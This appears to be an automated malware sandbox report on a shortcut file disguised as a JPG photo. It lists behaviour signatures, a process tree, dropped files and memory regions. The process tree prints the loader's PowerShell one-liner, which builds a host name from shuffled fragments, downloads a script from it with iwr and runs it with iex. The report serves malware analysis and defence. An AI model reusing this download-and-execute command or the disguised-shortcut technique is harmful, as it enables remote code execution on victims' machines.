Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    28/07/2026, 07:31

General

  • Target
    IMG_20260727_182420.jpg.lnk
  • Size 1KB
  • Sample260728-jchtwa1erc
  • SHA256 290114ee849f6010a31615cbd31b8e8a286f53fba3a4f9c1e4b871297a89d9c0
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_182420.jpg.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4396
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('w.shop','no','reservphotoinstay')[2,1,0] -join $A010Kzn) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4572
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\x11zmf4z\x11zmf4z.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:956
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB755.tmp" "c:\Users\Admin\AppData\Local\Temp\x11zmf4z\CSCB1228539E60148B68C3CEB964245190.TMP"
          4⤵
            PID:3524

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          LICENSE.md

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@npmcli\map-workspaces\LICENSE.md
          • Size 818B
          • SHA256 733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@npmcli\metavuln-calculator\LICENSE
          • Size 754B
          • SHA256 45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@sigstore\protobuf-specs\LICENSE
          • Size 11KB
          • SHA256 7b0ce3425a26fdba501cb13508af096ade77e4036dd2bd8849031ddecf64f7c9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          fetch.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@sigstore\sign\dist\types\fetch.js
          • Size 79B
          • SHA256 ef1f170ad28f2d870a474d2f96ae353d770fff5f20e642cd8f9b6f1d7742df13
          • MD5 SHA1 SHA512 TLSH

          package.json

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\brace-expansion\dist\commonjs\package.json
          • Size 28B
          • SHA256 58b55392b5778941e1e96892a70edc12e2d7bb8541289b237fbddc9926ed51bd
          • MD5 SHA1 SHA512

          package.json

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\brace-expansion\dist\esm\package.json
          • Size 26B
          • SHA256 1bf0e53fc74b05f1aade7451fbac72f1944b067d4229d96bae7a225519a250e4
          • MD5 SHA1 SHA512

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\ignore-walk\LICENSE
          • Size 780B
          • SHA256 3f24d692d165989cd9a00fe35ca15a2bc6859e3361fa42aa20babd435f2e4706
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\libnpmpack\LICENSE
          • Size 730B
          • SHA256 2ef361317adeda98117f14c5110182c28eae233af1f7050c83d4396961d14013
          • MD5 SHA1 SHA512 TLSH

          RESB755.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RESB755.tmp
          • Size 1KB
          • SHA256 468fda6ca5fadad91c3cbedee15e0a5b478b9452dbb8d5afa902ca689de02f5b
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_eaduhl2b.lxt.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eaduhl2b.lxt.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          x11zmf4z.dll

          • Path C:\Users\Admin\AppData\Local\Temp\x11zmf4z\x11zmf4z.dll
          • Size 3KB
          • SHA256 049fa55d2ddca2c3ec05a9f73b23226f058921649b3770bedd654a81a0815c47
          • MD5 SHA1 SHA512 TLSH

          CSCB1228539E60148B68C3CEB964245190.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\x11zmf4z\CSCB1228539E60148B68C3CEB964245190.TMP
          • Size 652B
          • SHA256 34ee683ee94f92dba895c23548646564e3aafbdb54427222a9d2763c5315b61e
          • MD5 SHA1 SHA512 TLSH

          x11zmf4z.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\x11zmf4z\x11zmf4z.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          x11zmf4z.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\x11zmf4z\x11zmf4z.cmdline
          • Size 369B
          • SHA256 f5aff2f5ca6ecb473d44c7fc44882981a1f2836e620a4f642f654e8151ad6270
          • MD5 SHA1 SHA512 TLSH

          memory/4572-32-0x000001B6D2030000-0x000001B6D203A000-memory.dmp

          memory/4572-24-0x000001B6D2010000-0x000001B6D2018000-memory.dmp

          memory/4572-31-0x000001B6EBE80000-0x000001B6EBE92000-memory.dmp

          memory/4572-28-0x000001B6D1F70000-0x000001B6D1F80000-memory.dmp

          memory/4572-3-0x000001B6D1F70000-0x000001B6D1F80000-memory.dmp

          memory/4572-26-0x000001B6D1F70000-0x000001B6D1F80000-memory.dmp

          memory/4572-27-0x000001B6D1F70000-0x000001B6D1F80000-memory.dmp

          memory/4572-11-0x000001B6EB140000-0x000001B6EB162000-memory.dmp

          memory/4572-25-0x000001B6D1F70000-0x000001B6D1F80000-memory.dmp

          memory/4572-2-0x000001B6D1F70000-0x000001B6D1F80000-memory.dmp